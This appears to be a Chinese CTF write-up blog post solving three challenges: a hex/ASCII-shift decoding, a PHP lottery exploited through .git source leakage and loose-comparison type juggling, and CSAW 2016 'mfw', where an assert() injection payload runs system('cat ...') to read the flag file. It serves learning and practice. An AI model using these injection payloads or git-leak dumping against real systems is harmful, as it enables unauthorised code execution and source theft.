掀桌子
菜狗截获了一份报文如下c8e9aca0c6f2e5f3e8c4efe7a1a0d4e8e5a0e6ece1e7a0e9f3baa0e8eafae3f9e4eafae2eae4e3eaebfaebe3f5e7e9f3e4e3e8eaf9eaf3e2e4e6f2,生气地掀翻了桌子(╯°□°)╯︵ ┻━┻
发现只有数字0-9 a-f 考虑为16进制
2位一组转ASCII
注意-128 让所有的数值都落在ascii范围内0-127
k="c8e9aca0c6f2e5f3e8c4efe7a1a0d4e8e5a0e6ece1e7a0e9f3baa0e8eafae3f9e4eafae2eae4e3eaebfaebe3f5e7e9f3e4e3e8eaf9eaf3e2e4e6f2"
for i in range(0,len(k),2):
hex=k[i:i+2]
print(chr(int(hex,16)-128),end='')
Hi, FreshDog! The flag is: hjzcydjzbjdcjkzkcugisdchjyjsbdfr
lottery
(git泄露,代码审计 php弱类型)
扫了一下目录
[301] => .git
[200] => .git/HEAD
[200] => .git/description
[200] => .git/config
[200] => .git/index
[200] => robots.txt
[200] => index.php
[200] => register.php
[200] => .git/config
[200] => register.php
[200] => config.php
[200] => /config.php
(还有一种方法是robots.txt)
发现有git泄露可以通过githack拿到源码(githack :.git泄露利用工具)
GitHack.py http://124.126.19.106:52112/.git/
Git信息泄露的危害很大,渗透测试人员、攻击者,可直接从源码获取敏感配置信息(如:邮箱,数据库),也可以进一步审计代码,挖掘文件上传、SQL注射等安全漏洞
漏洞出现在api.php中以下代码(显然我要看一下wp…)
function buy($req){
require_registered();
require_min_money(2);
$money = $_SESSION['money'];
$numbers = $req['numbers'];
$win_numbers = random_win_nums();
$same_count = 0;
for($i=0; $i<7; $i++){
if($numbers[$i] == $win_numbers[$i]){ //php弱类型漏洞
$same_count++;
}
}
switch ($same_count) {
case 2:
$prize = 5;
break;
case 3:
$prize = 20;
break;
case 4:
$prize = 300;
break;
case 5:
$prize = 1800;
break;
case 6:
$prize = 200000;
break;
case 7:
$prize = 5000000;
break;
default:
$prize = 0;
break;
}
$money += $prize - 2;
$_SESSION['money'] = $money;
response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]);
}
(比较的页面在api.php)
传入numbers
根据same_count的值来看你中了几等奖
for($i=0; $i<7; $i++){
if($numbers[$i] == $win_numbers[$i]){ //php弱类型漏洞
$same_count++;
}
}
利用php弱类型漏洞 任意值与true相等,改包,多次发包即可获得$$$
攒够以后去买flag啦
关于git总结和补题
正在找正在找
1.Git常见的利用(转载)
.git/index中会缓存git add的文件,这里在没有commit的情况下,也是存在的
https://github.com/lijiejie/GitHack lijiejie的这个就是获取的这个
.git/refs/heads/master 记录了master的commit的hash,由此可以解析出这个commit的所有文件
.git/logs/HEAD其中存储了git的log信息,可以找到历史的commit项
.git/refs/stash 工作进度的临时保存
最后说一个pack的问题,这个好像还没看见有ctf中考到,这里也做了恢复
.git/info/packs packs文件提取恢复
mfw
攻防世界-csaw-ctf-2016-quals
同上面的题,为git源码泄露+代码审计+命令执行漏洞 利用GitHack
index.php
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
assert() 检查一个断言是否为 FALSE
strpos() 函数查找字符串在另一字符串中第一次出现的位置。如果没有找到则返回False
file_exists() 函数检查文件或目录是否存在。
assert()函数会将括号中的字符当成代码来执行,并返回true或false。
file为可控的参数,strpos()过滤了…(也就是不能出现返回上一级目录这样的,把路径写完整了) 在file参数处进行注入,') or system('cat ./templates/flag.php');//
//用于注释 ')闭合前面的语句
题目中的一些hint:
下载下来的git源码
flag.php放在templates文件夹下 暗示了文件的路径
选自评论区的一些问题:
Q:为什么下载下来的源码中,flag.php里没有内容,通过cat查看就能获得?
A:下载的源码在.git/下,cat查看的在templates/下,这是两个文件
命令执行漏洞
原因:未对用户输入做严格检查过滤,导致用户输入的参数当做命令来执行
某些函数未对用户控制的参数进行过滤,则可能存在远程命令执行漏洞:
如eval() assert()
- 系统命令执行:
system()
- 执行运算符 反引号 php把反引号中的内容作为shell命令来执行,并将其输出信息返回
- eg
$output='ls -al'
显示当前目录下的所有文件及文件夹包括隐藏的文件和文件夹等的详细信息